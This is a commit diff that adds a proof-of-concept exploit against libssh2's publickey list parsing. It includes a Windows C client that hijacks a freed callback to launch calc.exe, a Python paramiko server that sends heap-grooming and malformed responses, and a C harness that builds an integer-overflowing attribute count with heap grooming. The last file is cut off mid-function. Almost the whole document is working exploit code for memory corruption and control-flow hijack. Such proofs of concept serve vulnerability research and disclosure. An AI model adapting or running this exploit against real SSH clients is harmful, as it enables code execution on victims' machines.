Upload files to "libssh2-publickey-list-calc-poc/poc"
This commit is contained in:
@@ -0,0 +1,349 @@
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <winsock2.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <windows.h>
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "libssh2.h"
|
||||
#include "libssh2_publickey.h"
|
||||
|
||||
#define FIXED_VICTIM_ADDR ((uintptr_t)0x0000013370000000ULL)
|
||||
#define MAX_RECORDS 16384
|
||||
|
||||
struct victim {
|
||||
void (*cb)(void);
|
||||
unsigned char pad[120];
|
||||
};
|
||||
|
||||
struct alloc_record {
|
||||
void *ptr;
|
||||
int live;
|
||||
};
|
||||
|
||||
static HANDLE app_heap;
|
||||
static struct alloc_record records[MAX_RECORDS];
|
||||
static struct victim *stale_victim;
|
||||
static int victim_freed;
|
||||
static int launch_real_calc;
|
||||
static unsigned long heap_free_failures;
|
||||
static unsigned long ignored_unknown_frees;
|
||||
|
||||
static void track_ptr(void *ptr)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
if(!ptr)
|
||||
return;
|
||||
for(i = 0; i < MAX_RECORDS; i++) {
|
||||
if(!records[i].live) {
|
||||
records[i].ptr = ptr;
|
||||
records[i].live = 1;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static int untrack_ptr(void *ptr)
|
||||
{
|
||||
size_t i;
|
||||
|
||||
for(i = 0; i < MAX_RECORDS; i++) {
|
||||
if(records[i].live && records[i].ptr == ptr) {
|
||||
records[i].live = 0;
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static void safe_callback(void)
|
||||
{
|
||||
fprintf(stderr, "safe_callback_reached\n");
|
||||
}
|
||||
|
||||
static void launch_calc_callback(void)
|
||||
{
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
char cmd[] = "calc.exe";
|
||||
FILE *f = fopen("live_ssh_calc_payload_reached.txt", "wb");
|
||||
|
||||
if(f) {
|
||||
fputs("live ssh calc payload reached\n", f);
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
fprintf(stderr, "calc_payload_reached callback=%p\n",
|
||||
launch_calc_callback);
|
||||
|
||||
if(launch_real_calc) {
|
||||
memset(&si, 0, sizeof(si));
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
si.cb = sizeof(si);
|
||||
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL,
|
||||
&si, &pi)) {
|
||||
fprintf(stderr, "calc_launch=success pid=%lu\n",
|
||||
(unsigned long)pi.dwProcessId);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
else {
|
||||
fprintf(stderr, "calc_launch=failed error=%lu\n",
|
||||
(unsigned long)GetLastError());
|
||||
ExitProcess(78);
|
||||
}
|
||||
}
|
||||
|
||||
ExitProcess(77);
|
||||
}
|
||||
|
||||
static void *app_alloc_raw(size_t size)
|
||||
{
|
||||
void *ptr = HeapAlloc(app_heap, 0, size ? size : 1);
|
||||
track_ptr(ptr);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static void app_free_raw(void *ptr)
|
||||
{
|
||||
if(!ptr)
|
||||
return;
|
||||
|
||||
if(ptr == stale_victim) {
|
||||
victim_freed = 1;
|
||||
fprintf(stderr, "victim_free_callback ptr=%p\n", ptr);
|
||||
return;
|
||||
}
|
||||
|
||||
if(!untrack_ptr(ptr)) {
|
||||
ignored_unknown_frees++;
|
||||
fprintf(stderr, "free_ignored_unknown ptr=%p\n", ptr);
|
||||
return;
|
||||
}
|
||||
|
||||
if(!HeapFree(app_heap, 0, ptr)) {
|
||||
heap_free_failures++;
|
||||
fprintf(stderr, "heap_free_failed ptr=%p error=%lu\n", ptr,
|
||||
(unsigned long)GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
static LIBSSH2_ALLOC_FUNC(app_alloc)
|
||||
{
|
||||
void *ptr;
|
||||
|
||||
(void)abstract;
|
||||
ptr = app_alloc_raw(count);
|
||||
fprintf(stderr, "alloc size=%llu ptr=%p\n",
|
||||
(unsigned long long)(count ? count : 1), ptr);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static LIBSSH2_FREE_FUNC(app_free)
|
||||
{
|
||||
(void)abstract;
|
||||
fprintf(stderr, "free ptr=%p\n", ptr);
|
||||
app_free_raw(ptr);
|
||||
}
|
||||
|
||||
static LIBSSH2_REALLOC_FUNC(app_realloc)
|
||||
{
|
||||
void *newptr;
|
||||
|
||||
(void)abstract;
|
||||
if(!ptr)
|
||||
return app_alloc(count, abstract);
|
||||
if(!untrack_ptr(ptr)) {
|
||||
ignored_unknown_frees++;
|
||||
fprintf(stderr, "realloc_ignored_unknown old=%p size=%llu\n", ptr,
|
||||
(unsigned long long)(count ? count : 1));
|
||||
return NULL;
|
||||
}
|
||||
newptr = HeapReAlloc(app_heap, 0, ptr, count ? count : 1);
|
||||
if(newptr)
|
||||
track_ptr(newptr);
|
||||
fprintf(stderr, "realloc old=%p size=%llu new=%p\n", ptr,
|
||||
(unsigned long long)(count ? count : 1), newptr);
|
||||
return newptr;
|
||||
}
|
||||
|
||||
static int init_fixed_victim(void)
|
||||
{
|
||||
struct victim payload;
|
||||
|
||||
stale_victim = (struct victim *)VirtualAlloc(
|
||||
(LPVOID)FIXED_VICTIM_ADDR, sizeof(*stale_victim),
|
||||
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
if(!stale_victim) {
|
||||
fprintf(stderr, "fixed_victim_alloc_failed addr=0x%016llx error=%lu\n",
|
||||
(unsigned long long)FIXED_VICTIM_ADDR,
|
||||
(unsigned long)GetLastError());
|
||||
return 0;
|
||||
}
|
||||
|
||||
memset(stale_victim, 0x42, sizeof(*stale_victim));
|
||||
stale_victim->cb = safe_callback;
|
||||
memset(&payload, 0x43, sizeof(payload));
|
||||
payload.cb = launch_calc_callback;
|
||||
|
||||
fprintf(stderr,
|
||||
"fixed_victim=%p victim_size=%llu replacement_callback=%p\n",
|
||||
stale_victim, (unsigned long long)sizeof(*stale_victim),
|
||||
launch_calc_callback);
|
||||
return 1;
|
||||
}
|
||||
|
||||
static SOCKET connect_tcp(const char *host, const char *port)
|
||||
{
|
||||
struct addrinfo hints;
|
||||
struct addrinfo *res = NULL;
|
||||
struct addrinfo *cur;
|
||||
SOCKET sock = INVALID_SOCKET;
|
||||
|
||||
memset(&hints, 0, sizeof(hints));
|
||||
hints.ai_family = AF_UNSPEC;
|
||||
hints.ai_socktype = SOCK_STREAM;
|
||||
|
||||
if(getaddrinfo(host, port, &hints, &res) != 0)
|
||||
return INVALID_SOCKET;
|
||||
|
||||
for(cur = res; cur; cur = cur->ai_next) {
|
||||
sock = socket(cur->ai_family, cur->ai_socktype, cur->ai_protocol);
|
||||
if(sock == INVALID_SOCKET)
|
||||
continue;
|
||||
if(connect(sock, cur->ai_addr, (int)cur->ai_addrlen) == 0)
|
||||
break;
|
||||
closesocket(sock);
|
||||
sock = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
freeaddrinfo(res);
|
||||
return sock;
|
||||
}
|
||||
|
||||
static void print_last_error(LIBSSH2_SESSION *session, const char *where)
|
||||
{
|
||||
char *errmsg = NULL;
|
||||
int errlen = 0;
|
||||
int err = libssh2_session_last_error(session, &errmsg, &errlen, 0);
|
||||
|
||||
fprintf(stderr, "%s_failed err=%d msg=%.*s\n", where, err, errlen,
|
||||
errmsg ? errmsg : "");
|
||||
}
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
const char *host = "127.0.0.1";
|
||||
const char *port = "2228";
|
||||
WSADATA wsadata;
|
||||
SOCKET sock;
|
||||
LIBSSH2_SESSION *session;
|
||||
LIBSSH2_PUBLICKEY *pkey;
|
||||
libssh2_publickey_list *list = NULL;
|
||||
unsigned long num_keys = 0;
|
||||
struct victim replacement_payload;
|
||||
struct victim *replacement;
|
||||
int rc;
|
||||
|
||||
if(argc > 1)
|
||||
host = argv[1];
|
||||
if(argc > 2)
|
||||
port = argv[2];
|
||||
if(argc > 3 && !strcmp(argv[3], "calc"))
|
||||
launch_real_calc = 1;
|
||||
|
||||
app_heap = HeapCreate(0, 0, 0);
|
||||
if(!app_heap)
|
||||
return 69;
|
||||
if(!init_fixed_victim())
|
||||
return 68;
|
||||
|
||||
memset(&replacement_payload, 0x43, sizeof(replacement_payload));
|
||||
replacement_payload.cb = launch_calc_callback;
|
||||
|
||||
if(WSAStartup(MAKEWORD(2, 2), &wsadata) != 0)
|
||||
return 2;
|
||||
|
||||
rc = libssh2_init(0);
|
||||
if(rc) {
|
||||
fprintf(stderr, "libssh2_init_failed rc=%d\n", rc);
|
||||
return 3;
|
||||
}
|
||||
|
||||
sock = connect_tcp(host, port);
|
||||
if(sock == INVALID_SOCKET) {
|
||||
fprintf(stderr, "connect_failed host=%s port=%s error=%d\n", host,
|
||||
port, WSAGetLastError());
|
||||
return 4;
|
||||
}
|
||||
fprintf(stderr, "tcp_connected host=%s port=%s\n", host, port);
|
||||
|
||||
session = libssh2_session_init_ex(app_alloc, app_free, app_realloc, NULL);
|
||||
if(!session)
|
||||
return 5;
|
||||
libssh2_session_set_blocking(session, 1);
|
||||
rc = libssh2_session_method_pref(
|
||||
session, LIBSSH2_METHOD_KEX,
|
||||
"curve25519-sha256,curve25519-sha256@libssh.org,"
|
||||
"ecdh-sha2-nistp256,diffie-hellman-group14-sha256,"
|
||||
"diffie-hellman-group14-sha1");
|
||||
if(rc)
|
||||
fprintf(stderr, "kex_pref_rc=%d\n", rc);
|
||||
|
||||
rc = libssh2_session_handshake(session, (libssh2_socket_t)sock);
|
||||
if(rc) {
|
||||
print_last_error(session, "handshake");
|
||||
return 6;
|
||||
}
|
||||
fprintf(stderr, "ssh_handshake=ok\n");
|
||||
|
||||
rc = libssh2_userauth_password(session, "user", "pass");
|
||||
if(rc) {
|
||||
print_last_error(session, "password_auth");
|
||||
return 7;
|
||||
}
|
||||
fprintf(stderr, "ssh_auth=ok\n");
|
||||
|
||||
pkey = libssh2_publickey_init(session);
|
||||
if(!pkey) {
|
||||
print_last_error(session, "publickey_init");
|
||||
return 8;
|
||||
}
|
||||
fprintf(stderr, "publickey_init=ok\n");
|
||||
|
||||
{
|
||||
int attempt;
|
||||
for(attempt = 1; attempt <= 1000; attempt++) {
|
||||
rc = libssh2_publickey_list_fetch(pkey, &num_keys, &list);
|
||||
if(rc != LIBSSH2_ERROR_EAGAIN)
|
||||
break;
|
||||
Sleep(10);
|
||||
}
|
||||
}
|
||||
fprintf(stderr,
|
||||
"list_fetch_rc=%d num_keys=%lu victim_freed=%d ignored_unknown_frees=%lu heap_free_failures=%lu\n",
|
||||
rc, num_keys, victim_freed, ignored_unknown_frees,
|
||||
heap_free_failures);
|
||||
if(rc)
|
||||
print_last_error(session, "list_fetch");
|
||||
|
||||
replacement = NULL;
|
||||
if(victim_freed)
|
||||
replacement = stale_victim;
|
||||
else
|
||||
replacement = (struct victim *)app_alloc_raw(sizeof(*replacement));
|
||||
|
||||
fprintf(stderr, "replacement=%p same_as_victim=%d\n", replacement,
|
||||
replacement == stale_victim);
|
||||
if(replacement)
|
||||
memcpy(replacement, &replacement_payload, sizeof(replacement_payload));
|
||||
|
||||
fprintf(stderr, "triggering_stale_callback cb=%p\n", stale_victim->cb);
|
||||
stale_victim->cb();
|
||||
|
||||
return victim_freed ? 2 : 1;
|
||||
}
|
||||
@@ -0,0 +1,184 @@
|
||||
import argparse
|
||||
import socket
|
||||
import struct
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
import paramiko
|
||||
|
||||
|
||||
DEFAULT_HOST = "127.0.0.1"
|
||||
DEFAULT_PORT = 2228
|
||||
DEFAULT_VICTIM = 0x0000013370000000
|
||||
LIST_ENTRY_SIZE_WIN64 = 48
|
||||
|
||||
|
||||
def ssh_string(value):
|
||||
return struct.pack(">I", len(value)) + value
|
||||
|
||||
|
||||
def subsystem_packet(payload):
|
||||
return struct.pack(">I", len(payload)) + payload
|
||||
|
||||
|
||||
def version_response():
|
||||
return subsystem_packet(ssh_string(b"version") + struct.pack(">I", 2))
|
||||
|
||||
|
||||
def version_groom_response(attrs_ptr, offsets):
|
||||
payload_len = 9 * LIST_ENTRY_SIZE_WIN64
|
||||
payload = bytearray(payload_len)
|
||||
prefix = ssh_string(b"version")
|
||||
payload[: len(prefix)] = prefix
|
||||
for offset in offsets:
|
||||
struct.pack_into("<Q", payload, offset, attrs_ptr)
|
||||
return subsystem_packet(bytes(payload))
|
||||
|
||||
|
||||
def malformed_publickey_response():
|
||||
payload = ssh_string(b"publickey") + ssh_string(b"n") + b"\x00"
|
||||
return subsystem_packet(payload)
|
||||
|
||||
|
||||
def recv_exact(channel, wanted):
|
||||
chunks = []
|
||||
total = 0
|
||||
while total < wanted:
|
||||
chunk = channel.recv(wanted - total)
|
||||
if not chunk:
|
||||
raise EOFError("channel closed")
|
||||
chunks.append(chunk)
|
||||
total += len(chunk)
|
||||
return b"".join(chunks)
|
||||
|
||||
|
||||
def recv_subsystem_packet(channel):
|
||||
header = recv_exact(channel, 4)
|
||||
length = struct.unpack(">I", header)[0]
|
||||
return recv_exact(channel, length)
|
||||
|
||||
|
||||
def send_all(channel, data):
|
||||
offset = 0
|
||||
while offset < len(data):
|
||||
sent = channel.send(data[offset:])
|
||||
if sent <= 0:
|
||||
raise EOFError("send failed")
|
||||
offset += sent
|
||||
|
||||
|
||||
def serve_publickey_channel(channel, attrs_ptr, offsets, hold_seconds, done):
|
||||
try:
|
||||
client_version = recv_subsystem_packet(channel)
|
||||
print(f"server_recv_version_len={len(client_version)}", flush=True)
|
||||
send_all(channel, version_response())
|
||||
print("server_sent_version=1", flush=True)
|
||||
|
||||
client_list = recv_subsystem_packet(channel)
|
||||
print(f"server_recv_list_len={len(client_list)}", flush=True)
|
||||
send_all(channel, version_groom_response(attrs_ptr, offsets))
|
||||
print(
|
||||
f"server_sent_groom_attrs=0x{attrs_ptr:016x} offsets={offsets}",
|
||||
flush=True,
|
||||
)
|
||||
send_all(channel, malformed_publickey_response())
|
||||
print("server_sent_malformed_publickey=1", flush=True)
|
||||
time.sleep(hold_seconds)
|
||||
except Exception as exc:
|
||||
print(f"server_error={exc}", flush=True)
|
||||
finally:
|
||||
done.set()
|
||||
try:
|
||||
channel.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
class PublickeyServer(paramiko.ServerInterface):
|
||||
def __init__(self, attrs_ptr, offsets, hold_seconds, done):
|
||||
self.attrs_ptr = attrs_ptr
|
||||
self.offsets = offsets
|
||||
self.hold_seconds = hold_seconds
|
||||
self.done = done
|
||||
|
||||
def check_auth_password(self, username, password):
|
||||
print(f"auth username={username!r} password_len={len(password)}", flush=True)
|
||||
return paramiko.AUTH_SUCCESSFUL
|
||||
|
||||
def get_allowed_auths(self, username):
|
||||
return "password"
|
||||
|
||||
def check_channel_request(self, kind, chanid):
|
||||
print(f"channel_request kind={kind!r} chanid={chanid}", flush=True)
|
||||
if kind == "session":
|
||||
return paramiko.OPEN_SUCCEEDED
|
||||
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
|
||||
|
||||
def check_channel_subsystem_request(self, channel, name):
|
||||
print(f"subsystem_request name={name!r}", flush=True)
|
||||
if name != "publickey":
|
||||
return False
|
||||
worker = threading.Thread(
|
||||
target=serve_publickey_channel,
|
||||
args=(
|
||||
channel,
|
||||
self.attrs_ptr,
|
||||
self.offsets,
|
||||
self.hold_seconds,
|
||||
self.done,
|
||||
),
|
||||
daemon=True,
|
||||
)
|
||||
worker.start()
|
||||
return True
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser()
|
||||
parser.add_argument("--host", default=DEFAULT_HOST)
|
||||
parser.add_argument("--port", type=int, default=DEFAULT_PORT)
|
||||
parser.add_argument("--victim", type=lambda s: int(s, 0), default=DEFAULT_VICTIM)
|
||||
parser.add_argument(
|
||||
"--offset",
|
||||
dest="offsets",
|
||||
action="append",
|
||||
type=lambda s: int(s, 0),
|
||||
default=None,
|
||||
)
|
||||
parser.add_argument("--hold", type=float, default=2.0)
|
||||
args = parser.parse_args()
|
||||
offsets = args.offsets if args.offsets is not None else [27]
|
||||
host_key = paramiko.RSAKey.generate(2048)
|
||||
done = threading.Event()
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
sock.bind((args.host, args.port))
|
||||
sock.listen(1)
|
||||
print(
|
||||
f"server_listening={args.host}:{args.port} victim=0x{args.victim:016x} offsets={offsets}",
|
||||
flush=True,
|
||||
)
|
||||
|
||||
client, addr = sock.accept()
|
||||
print(f"server_client={addr[0]}:{addr[1]}", flush=True)
|
||||
transport = paramiko.Transport(client)
|
||||
transport.add_server_key(host_key)
|
||||
transport.start_server(
|
||||
server=PublickeyServer(args.victim, offsets, args.hold, done)
|
||||
)
|
||||
channel = transport.accept(20)
|
||||
if channel is None:
|
||||
print("server_no_channel=1", flush=True)
|
||||
return 1
|
||||
|
||||
done.wait(20)
|
||||
transport.close()
|
||||
sock.close()
|
||||
print("server_done=1", flush=True)
|
||||
return 0
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,448 @@
|
||||
#include <winsock2.h>
|
||||
#include <windows.h>
|
||||
#include <malloc.h>
|
||||
#include <stdint.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
#include "libssh2_priv.h"
|
||||
#include "libssh2_publickey.h"
|
||||
#include "channel.h"
|
||||
|
||||
#define PAIRS 4096
|
||||
#define VICTIM_SIZE 4
|
||||
#define DEFAULT_MARKER_VALUE 0x41424344UL
|
||||
#define DEFAULT_TARGET_INDEX (PAIRS - 8)
|
||||
|
||||
static unsigned char wire[4096];
|
||||
static size_t wire_len;
|
||||
static size_t wire_off;
|
||||
static void *small_chunks[PAIRS];
|
||||
static void *fillers[PAIRS][3];
|
||||
static unsigned char *victims[PAIRS];
|
||||
static void *attrs_ptr;
|
||||
static size_t attrs_msize;
|
||||
static int terminal_attr = 0;
|
||||
static char terminal_field = 'n';
|
||||
static uint32_t marker_value = DEFAULT_MARKER_VALUE;
|
||||
static int call_mode;
|
||||
static int target_index = DEFAULT_TARGET_INDEX;
|
||||
static int private_heap_mode;
|
||||
static HANDLE proof_heap;
|
||||
|
||||
static void reached_marker(void)
|
||||
{
|
||||
STARTUPINFOA si;
|
||||
PROCESS_INFORMATION pi;
|
||||
char cmd[] = "calc.exe";
|
||||
FILE *f = fopen("x86_calc_payload_reached.txt", "wb");
|
||||
|
||||
if(f) {
|
||||
fputs("x86 calc payload reached\n", f);
|
||||
fclose(f);
|
||||
}
|
||||
|
||||
fprintf(stderr, "marker_function_reached address=%p\n", reached_marker);
|
||||
memset(&si, 0, sizeof(si));
|
||||
memset(&pi, 0, sizeof(pi));
|
||||
si.cb = sizeof(si);
|
||||
if(CreateProcessA(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si,
|
||||
&pi)) {
|
||||
fprintf(stderr, "calc_launch=success pid=%lu\n",
|
||||
(unsigned long)pi.dwProcessId);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
else {
|
||||
fprintf(stderr, "calc_launch=failed error=%lu\n",
|
||||
(unsigned long)GetLastError());
|
||||
ExitProcess(78);
|
||||
}
|
||||
ExitProcess(77);
|
||||
}
|
||||
|
||||
static void *proof_malloc(size_t size)
|
||||
{
|
||||
if(private_heap_mode)
|
||||
return HeapAlloc(proof_heap, 0, size ? size : 1);
|
||||
return malloc(size ? size : 1);
|
||||
}
|
||||
|
||||
static void *proof_calloc(size_t size)
|
||||
{
|
||||
void *ptr = proof_malloc(size);
|
||||
if(ptr)
|
||||
memset(ptr, 0, size);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static void proof_free(void *ptr)
|
||||
{
|
||||
if(private_heap_mode)
|
||||
HeapFree(proof_heap, 0, ptr);
|
||||
else
|
||||
free(ptr);
|
||||
}
|
||||
|
||||
static void *proof_realloc(void *ptr, size_t size)
|
||||
{
|
||||
if(!ptr)
|
||||
return proof_malloc(size);
|
||||
if(private_heap_mode)
|
||||
return HeapReAlloc(proof_heap, 0, ptr, size ? size : 1);
|
||||
return realloc(ptr, size ? size : 1);
|
||||
}
|
||||
|
||||
static size_t proof_msize(void *ptr)
|
||||
{
|
||||
if(private_heap_mode) {
|
||||
SIZE_T size = HeapSize(proof_heap, 0, ptr);
|
||||
return size == (SIZE_T)-1 ? 0 : (size_t)size;
|
||||
}
|
||||
return _msize(ptr);
|
||||
}
|
||||
|
||||
static LIBSSH2_ALLOC_FUNC(heap_alloc)
|
||||
{
|
||||
void *ptr;
|
||||
|
||||
(void)abstract;
|
||||
if(count == 4)
|
||||
ptr = proof_malloc(count);
|
||||
else
|
||||
ptr = proof_calloc(count);
|
||||
if(count == 4) {
|
||||
attrs_ptr = ptr;
|
||||
attrs_msize = ptr ? proof_msize(ptr) : 0;
|
||||
fprintf(stderr, "attrs_alloc requested=%lu ptr=%p msize=%lu\n",
|
||||
(unsigned long)count, ptr, (unsigned long)attrs_msize);
|
||||
}
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static LIBSSH2_FREE_FUNC(heap_free)
|
||||
{
|
||||
(void)abstract;
|
||||
if(ptr == attrs_ptr)
|
||||
return;
|
||||
proof_free(ptr);
|
||||
}
|
||||
|
||||
static LIBSSH2_REALLOC_FUNC(heap_realloc)
|
||||
{
|
||||
void *newptr;
|
||||
|
||||
(void)abstract;
|
||||
if(!ptr)
|
||||
return heap_alloc(count, abstract);
|
||||
newptr = proof_realloc(ptr, count);
|
||||
return newptr;
|
||||
}
|
||||
|
||||
int ssh2_err(LIBSSH2_SESSION *session, int errcode, const char *errmsg)
|
||||
{
|
||||
if(session) {
|
||||
session->err_code = errcode;
|
||||
session->err_msg = (char *)errmsg;
|
||||
}
|
||||
return errcode;
|
||||
}
|
||||
|
||||
int ssh2_err_flags(LIBSSH2_SESSION *session, int errcode, const char *errmsg,
|
||||
int errflags)
|
||||
{
|
||||
(void)errflags;
|
||||
return ssh2_err(session, errcode, errmsg);
|
||||
}
|
||||
|
||||
uint32_t ssh2_ntohu32(const unsigned char *buf)
|
||||
{
|
||||
return ((uint32_t)buf[0] << 24) | ((uint32_t)buf[1] << 16) |
|
||||
((uint32_t)buf[2] << 8) | (uint32_t)buf[3];
|
||||
}
|
||||
|
||||
void ssh2_htonu32(unsigned char *buf, uint32_t value)
|
||||
{
|
||||
buf[0] = (unsigned char)(value >> 24);
|
||||
buf[1] = (unsigned char)(value >> 16);
|
||||
buf[2] = (unsigned char)(value >> 8);
|
||||
buf[3] = (unsigned char)value;
|
||||
}
|
||||
|
||||
void ssh2_store_u32(unsigned char **buf, uint32_t value)
|
||||
{
|
||||
ssh2_htonu32(*buf, value);
|
||||
*buf += 4;
|
||||
}
|
||||
|
||||
int ssh2_store_str(unsigned char **buf, const char *str, size_t len)
|
||||
{
|
||||
ssh2_store_u32(buf, (uint32_t)len);
|
||||
memcpy(*buf, str, len);
|
||||
*buf += len;
|
||||
return 0;
|
||||
}
|
||||
|
||||
ssize_t ssh2_channel_write(LIBSSH2_CHANNEL *channel, int stream_id,
|
||||
const unsigned char *buf, size_t buflen)
|
||||
{
|
||||
(void)channel;
|
||||
(void)stream_id;
|
||||
(void)buf;
|
||||
return (ssize_t)buflen;
|
||||
}
|
||||
|
||||
ssize_t ssh2_channel_read(LIBSSH2_CHANNEL *channel, int stream_id,
|
||||
char *buf, size_t buflen)
|
||||
{
|
||||
(void)channel;
|
||||
(void)stream_id;
|
||||
if(wire_off + buflen > wire_len)
|
||||
return -1;
|
||||
memcpy(buf, wire + wire_off, buflen);
|
||||
wire_off += buflen;
|
||||
return (ssize_t)buflen;
|
||||
}
|
||||
|
||||
int ssh2_channel_free(LIBSSH2_CHANNEL *channel)
|
||||
{
|
||||
(void)channel;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int ssh2_channel_close(LIBSSH2_CHANNEL *channel)
|
||||
{
|
||||
(void)channel;
|
||||
return 0;
|
||||
}
|
||||
|
||||
int libssh2_session_last_errno(LIBSSH2_SESSION *session)
|
||||
{
|
||||
return session ? session->err_code : 0;
|
||||
}
|
||||
|
||||
int ssh2_wait_socket(LIBSSH2_SESSION *session, time_t start_time)
|
||||
{
|
||||
(void)session;
|
||||
(void)start_time;
|
||||
return 0;
|
||||
}
|
||||
|
||||
LIBSSH2_CHANNEL *ssh2_channel_open(LIBSSH2_SESSION *session,
|
||||
const char *channel_type,
|
||||
uint32_t channel_type_len,
|
||||
uint32_t window_size,
|
||||
uint32_t packet_size,
|
||||
const unsigned char *message,
|
||||
size_t message_len)
|
||||
{
|
||||
(void)session;
|
||||
(void)channel_type;
|
||||
(void)channel_type_len;
|
||||
(void)window_size;
|
||||
(void)packet_size;
|
||||
(void)message;
|
||||
(void)message_len;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int ssh2_channel_process_startup(LIBSSH2_CHANNEL *channel,
|
||||
const char *request, size_t request_len,
|
||||
const char *message, size_t message_len)
|
||||
{
|
||||
(void)channel;
|
||||
(void)request;
|
||||
(void)request_len;
|
||||
(void)message;
|
||||
(void)message_len;
|
||||
return LIBSSH2_ERROR_SOCKET_NONE;
|
||||
}
|
||||
|
||||
int ssh2_channel_extended_data(LIBSSH2_CHANNEL *channel, int ignore_mode)
|
||||
{
|
||||
(void)channel;
|
||||
(void)ignore_mode;
|
||||
return 0;
|
||||
}
|
||||
|
||||
void *ssh2_calloc(LIBSSH2_SESSION *session, size_t size)
|
||||
{
|
||||
void *ptr = heap_alloc(size, session ? session->abstract : NULL);
|
||||
if(ptr)
|
||||
memset(ptr, 0, size);
|
||||
return ptr;
|
||||
}
|
||||
|
||||
static unsigned char *put_string(unsigned char *p, const char *s)
|
||||
{
|
||||
size_t len = strlen(s);
|
||||
ssh2_store_u32(&p, (uint32_t)len);
|
||||
memcpy(p, s, len);
|
||||
return p + len;
|
||||
}
|
||||
|
||||
static unsigned char *put_response(unsigned char *w, unsigned char *payload,
|
||||
size_t payload_len)
|
||||
{
|
||||
ssh2_htonu32(w, (uint32_t)payload_len);
|
||||
memcpy(w + 4, payload, payload_len);
|
||||
return w + 4 + payload_len;
|
||||
}
|
||||
|
||||
static void build_attr_spray_response(void)
|
||||
{
|
||||
unsigned char payload[3072];
|
||||
unsigned char status[64];
|
||||
unsigned char *p = payload;
|
||||
unsigned char *s = status;
|
||||
unsigned char *w = wire;
|
||||
uint32_t attr_size = (uint32_t)sizeof(libssh2_publickey_attribute);
|
||||
uint32_t num_attrs = (uint32_t)((0x100000000ULL / attr_size) + 1);
|
||||
int i;
|
||||
|
||||
p = put_string(p, "publickey");
|
||||
p = put_string(p, "n");
|
||||
p = put_string(p, "b");
|
||||
ssh2_store_u32(&p, num_attrs);
|
||||
for(i = 0; i < 80; i++) {
|
||||
if(i == terminal_attr && terminal_field == 'n') {
|
||||
ssh2_store_u32(&p, marker_value);
|
||||
break;
|
||||
}
|
||||
else
|
||||
ssh2_store_u32(&p, 0);
|
||||
if(i == terminal_attr && terminal_field == 'v') {
|
||||
ssh2_store_u32(&p, marker_value);
|
||||
break;
|
||||
}
|
||||
else
|
||||
ssh2_store_u32(&p, 0);
|
||||
}
|
||||
w = put_response(w, payload, (size_t)(p - payload));
|
||||
|
||||
s = put_string(s, "status");
|
||||
ssh2_store_u32(&s, 0);
|
||||
ssh2_store_u32(&s, 0);
|
||||
ssh2_store_u32(&s, 0);
|
||||
w = put_response(w, status, (size_t)(s - status));
|
||||
|
||||
wire_len = (size_t)(w - wire);
|
||||
fprintf(stderr, "attr_size=%lu num_attrs=0x%08lx wrapped=%lu wire=%lu\n",
|
||||
(unsigned long)attr_size, (unsigned long)num_attrs,
|
||||
(unsigned long)(num_attrs * attr_size),
|
||||
(unsigned long)wire_len);
|
||||
}
|
||||
|
||||
static void groom_heap(void)
|
||||
{
|
||||
int i;
|
||||
|
||||
for(i = 0; i < PAIRS; i++) {
|
||||
small_chunks[i] = proof_malloc(4);
|
||||
fillers[i][0] = proof_malloc(4);
|
||||
fillers[i][1] = proof_malloc(4);
|
||||
fillers[i][2] = proof_malloc(4);
|
||||
victims[i] = proof_malloc(VICTIM_SIZE);
|
||||
memset(victims[i], 0x45, VICTIM_SIZE);
|
||||
*(uint32_t *)(victims[i] + 0) = 0xfeedfaceUL;
|
||||
}
|
||||
if(target_index < 0 || target_index >= PAIRS)
|
||||
target_index = DEFAULT_TARGET_INDEX;
|
||||
free(small_chunks[target_index]);
|
||||
fprintf(stderr, "target_index=%d freed_small=%p victim=%p expected_delta=%ld\n",
|
||||
target_index, small_chunks[target_index], victims[target_index],
|
||||
(long)(victims[target_index] -
|
||||
(unsigned char *)small_chunks[target_index]));
|
||||
}
|
||||
|
||||
static int scan_victims(void)
|
||||
{
|
||||
int i;
|
||||
int hits = 0;
|
||||
int marker_hits = 0;
|
||||
|
||||
for(i = 0; i < PAIRS; i++) {
|
||||
int changed = 0;
|
||||
if(*(uint32_t *)(victims[i] + 0) != 0xfeedfaceUL)
|
||||
changed = 1;
|
||||
if(changed) {
|
||||
intptr_t delta = attrs_ptr ?
|
||||
(intptr_t)(victims[i] - (unsigned char *)attrs_ptr) : 0;
|
||||
